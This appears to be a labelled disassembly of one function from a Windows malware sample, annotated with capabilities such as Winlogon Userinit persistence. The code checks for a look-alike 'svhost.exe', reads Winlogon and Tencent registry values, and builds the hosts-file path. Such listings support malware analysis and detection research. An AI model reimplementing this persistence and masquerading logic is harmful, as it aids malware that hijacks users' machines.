Function at 0x40b870
Capabilities:
Check if file exists
Get common file path
Persist via winlogon helper dll registry key
Query or enumerate registry value

Disassembly:
sub esp, 0x418
lea eax, [esp + 8]
push ebx
push esi
mov esi, 0x104
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push esi
push eax
call edi
mov ecx, esi
lea eax, [esp + 0x14]
cmp byte [eax], 0
je 0x40b89d
inc eax
dec ecx
jne 0x40b892
jmp 0x40b8c7
test ecx, ecx
je 0x40b8c7
lea edx, [esp + 0xc]
test edx, edx
je 0x40b8af
mov eax, esi
sub eax, ecx
jmp 0x40b8b3
mov eax, dword [esp + 0xc]
mov ecx, esi
push str._svhost.exe
sub ecx, eax
lea edx, [esp + eax + 0x18]
push ecx
push edx
call fcn.0040bac0
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x40b8e0
pop edi
pop esi
pop ebx
add esp, 0x418
ret
mov ebx, dword [sym.imp.SHLWAPI.dll_SHGetValueA]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x118]
push ecx
lea eax, [esp + 0x10]
push edx
push eax
push str.Userinit
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push 0x80000002
mov dword [esp + 0x28], esi
call ebx
test eax, eax
je 0x40b91d
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x418
ret
lea ecx, [esp + 0x118]
push str.svhost.exe
push ecx
call dword [sym.imp.MSVCRT.dll__strlwr]
add esp, 4
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
jne 0x40b94b
pop edi
pop esi
pop ebx
add esp, 0x418
ret
mov eax, dword [esp + 0x428]
test eax, eax
je 0x40baa8
lea edx, [esp + 0x14]
push edx
call fcn.00406390
add esp, 4
call fcn.0040b710
test eax, eax
je 0x40b9cc
lea eax, [esp + 0x21c]
push esi
push eax
call edi
mov ecx, esi
lea eax, [esp + 0x21c]
cmp byte [eax], 0
je 0x40b98f
inc eax
dec ecx
jne 0x40b984
jmp 0x40b9bc
test ecx, ecx
je 0x40b9bc
lea edx, [esp + 0xc]
test edx, edx
je 0x40b9a1
mov eax, esi
sub eax, ecx
jmp 0x40b9a5
mov eax, dword [esp + 0xc]
mov ecx, esi
push str.driversetchosts
sub ecx, eax
lea edx, [esp + eax + 0x220]
push ecx
push edx
call fcn.0040bac0
lea eax, [esp + 0x21c]
push eax
call fcn.00406390
add esp, 4
push 0
lea ecx, [esp + 0x324]
push 0
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov ecx, esi
lea eax, [esp + 0x320]
cmp byte [eax], 0
je 0x40b9f4
inc eax
dec ecx
jne 0x40b9e9
jmp 0x40ba21
test ecx, ecx
je 0x40ba21
lea edx, [esp + 0xc]
test edx, edx
je 0x40ba06
mov eax, esi
sub eax, ecx
jmp 0x40ba0a
mov eax, dword [esp + 0xc]
mov ecx, esi
push 0x41c42c
sub ecx, eax
lea edx, [esp + eax + 0x324]
push ecx
push edx
call fcn.0040bac0
lea eax, [esp + 0x320]
push eax
call fcn.00406390
add esp, 4
lea ecx, [esp + 0x10]
lea edx, [esp + 0x118]
lea eax, [esp + 0xc]
push ecx
push edx
push eax
push str.TypePath
push str.SOFTWARETencentPlatForm_TYPE_LIST1
push 0x80000002
mov dword [esp + 0x28], esi
call ebx
test eax, eax
jne 0x40baa8
cmp dword [esp + 0xc], 1
jne 0x40baa8
lea ecx, [esp + 0x118]
push 0x5c
push ecx
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 8
test eax, eax
je 0x40baa8
mov edx, 0x41c3ec
sub edx, eax
mov cl, byte [edx + eax]
test cl, cl
je 0x40ba90
mov byte [eax], cl
inc eax
dec esi
jne 0x40ba81
jmp 0x40ba94
test esi, esi
jne 0x40ba95
dec eax
lea edx, [esp + 0x118]
mov byte [eax], 0
push edx
call fcn.00406390
add esp, 4
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x418
ret